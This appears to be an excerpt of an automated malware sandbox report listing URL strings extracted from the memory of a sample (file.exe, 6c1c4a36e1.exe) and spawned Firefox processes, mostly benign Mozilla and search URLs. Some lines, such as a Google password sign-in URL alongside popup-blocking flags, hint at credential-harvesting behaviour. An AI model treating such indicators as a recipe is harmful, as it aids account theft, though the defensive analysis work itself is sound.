Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B979000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000022.00000002.2540256661.000000E5CD000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0
Source: firefox.exe, 00000022.00000002.2912731077.000001F36BB19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2870008113.000001F367320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2912955509.000001F36BC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2671833356.000001F3661B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2892474729.000001F36A3C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2444404461.000001F372530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2469759925.000001F36B164000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2891196839.000001F36A0DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2395858014.000001F36A0DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2508107414.000001F36A0D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2501554900.000001F36A0D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2906372738.000001F36B30B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2505600482.000001F36B164000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2479353622.000001F36B164000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2913187332.000001F36BD5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2913187332.000001F36BD1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2886493623.000001F369C0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2903465007.000001F36AFB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2892474729.000001F36A3D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2896497516.000001F36AA87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000022.00000002.2540256661.000000E5CD000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/c
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000022.00000002.2560485237.000001F3658E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000022.00000002.2560485237.000001F3658E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/NetUtil.sys.mjs
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A590000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2888771992.000001F369F1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2888358358.000001F369E8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbbc25ad08ccc1b2d785bc1812d8faa4d50f4010
Source: firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://devtools-startup/content/DevTo
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://passwordmgr/locale/passwordmgr
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulconnectedCallback/this._mutationObserve
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulgetSubmission:
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PlacesTransactio
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1374330472.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2302245598.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000022.00000002.2516920638.00000027AD7D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000022.00000002.2544038093.000001F359E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000022.00000002.2876851521.000001F3684E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org;
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B90E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2907123761.000001F36B7EE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B90B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000022.00000002.2894351966.000001F36A6FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2550900709.000001F35A111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000022.00000002.2907123761.000001F36B7CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1390683124.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1390683124.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 00000022.00000002.2912955509.000001F36BC3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2450786457.000001F36AA9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2896497516.000001F36AA9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180toolkit.legacyUserProfileCustomizations.windowIc
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075resource://services-settings/remote-settings.sys
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739Can
Source: firefox.exe, 00000022.00000002.2906372738.000001F36B30B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879932845.000001F369933000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: file.exe, 00000000.00000003.1390683124.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
